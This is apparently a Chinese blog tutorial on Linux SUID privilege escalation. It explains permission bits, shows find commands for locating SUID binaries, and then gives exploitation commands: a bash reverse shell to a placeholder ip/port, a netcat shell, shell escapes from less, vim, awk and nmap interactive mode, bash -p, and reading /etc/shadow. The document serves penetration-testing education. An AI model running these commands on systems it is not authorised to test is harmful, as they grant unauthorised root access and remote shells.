Linux提权之SUID提权
什么是SUID首先Linux文件有u(用户),g(组),o(其他)三个属组和rwx(421)三种默认权限与两种附加权限而两种附加权限分别是SET位权限(suid,sgid)和粘滞位权限(sticky)依次表示为sst(421),且分别都只能加在u,g,o属组表示的x(执行)位上。当设置了x权限的同时设置了附加权限,则以附加权限的小写表示,反之大写。设置了SET位权限可以获得该文件属主或属组账号对应
·
什么是SUID
首先Linux文件有u(用户),g(组),o(其他)三个属组和rwx(421)三种默认权限与两种附加权限
而两种附加权限分别是SET位权限(suid,sgid)和粘滞位权限(sticky)依次表示为sst(421),且分别都只能加在u,g,o属组表示的x(执行)位上。
当设置了x权限的同时设置了附加权限,则以附加权限的小写表示,反之大写。
设置了SET位权限可以获得该文件属主或属组账号对应的身份,粘滞位权限可以使其他用户或组拥有写的权限但是不能删除操作
而suid就是附加权限中的SET权限 ,它允许用户执行的文件以该文件属主的身份运行。
Linux文件的表现形式
Linux文件除去权限位还有一个代表文件类型的最高位,类型可以是下面几个中的一个:
d代表的是目录(directroy)
-代表的是文件(regular file)
s代表的是套字文件(socket)
p代表的管道文件(pipe)或命名管道文件(named pipe)
l代表的是符号链接文件(symbolic link)
b代表的是该文件是面向块的设备文件(block-oriented device file)
c代表的是该文件是面向字符的设备文件(charcter-oriented device file)
十位二进制表示法即九个权限位加最高位
-rwxr-xr-x =111 101 101 = 755这是一个文件。拥有者有读、写、执行权限;而属组用户和其他用户只有读与执行的权限
十二位二进制表示法,除去最高位的前三位表示附加权限suig,sgid,sticky(sst)
drwsr-Sr-x =110 111 100 101 = 6745这是一个目录。拥有者有读、写、执行以及suid权限;而属组用户只有读和sgid权限,其他用户只有读与执行的权限
如何查看拥有SUID权限的文件
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
参数解释:
1. -perm:匹配特殊权限 -4000表示SUID,-u=s即为查找权限为suid; -print: find命令将匹配的文件输出到标准输出 -type f类型为文件
2.-exec: find命令对匹配的文件执行该参数所给出的shell命令,相应的形式为:-exec command {} \;其中分号代表终止符,\是为了有时候需要转义分号,{}代表find出来的文件
3.ls命令: -l是使用较长格式列出信息 -d是显示目录而非内容 -b参数我一直没弄懂,但是我实际操作了一下 ls -lb和ls -l命令执行一样
一般Linux可用提权文件:nmap、vim、find、bash、more、less、cp
如何利用具有SUID权限的命令
Find
touch test # 创建一个文件
find test -exec whoami \; # find这个文件然后执行whoami
find test -exec bash -i >& /dev/tcp/ip/port 0>&1 \; #利用bash反弹shell
find pentestlab -exec netcat -lvp 5555 -e /bin/sh \; #利用nc反弹shell
more与less
less /etc/passwd
!/bin/sh
较旧版本的Nmap(2.02至5.21)带有交互模式,从而允许用户执行shell命令。
使用下命令进入namp交互模式
nmap --interactive
执行命令后会返回一个shell
nmap> !sh
sh-3.2# whoami
root
VIM
1.
进入vim按esc
:set shell=/bin/sh
:shell
2.也可以直接sudo vim -c ‘!sh’
3.vim /etc/shadow
AWK
awk 'BEGIN{system("whoami")}'
Bash
bash -p #进入一个root权限bash shell
更多推荐
已为社区贡献1条内容
所有评论(0)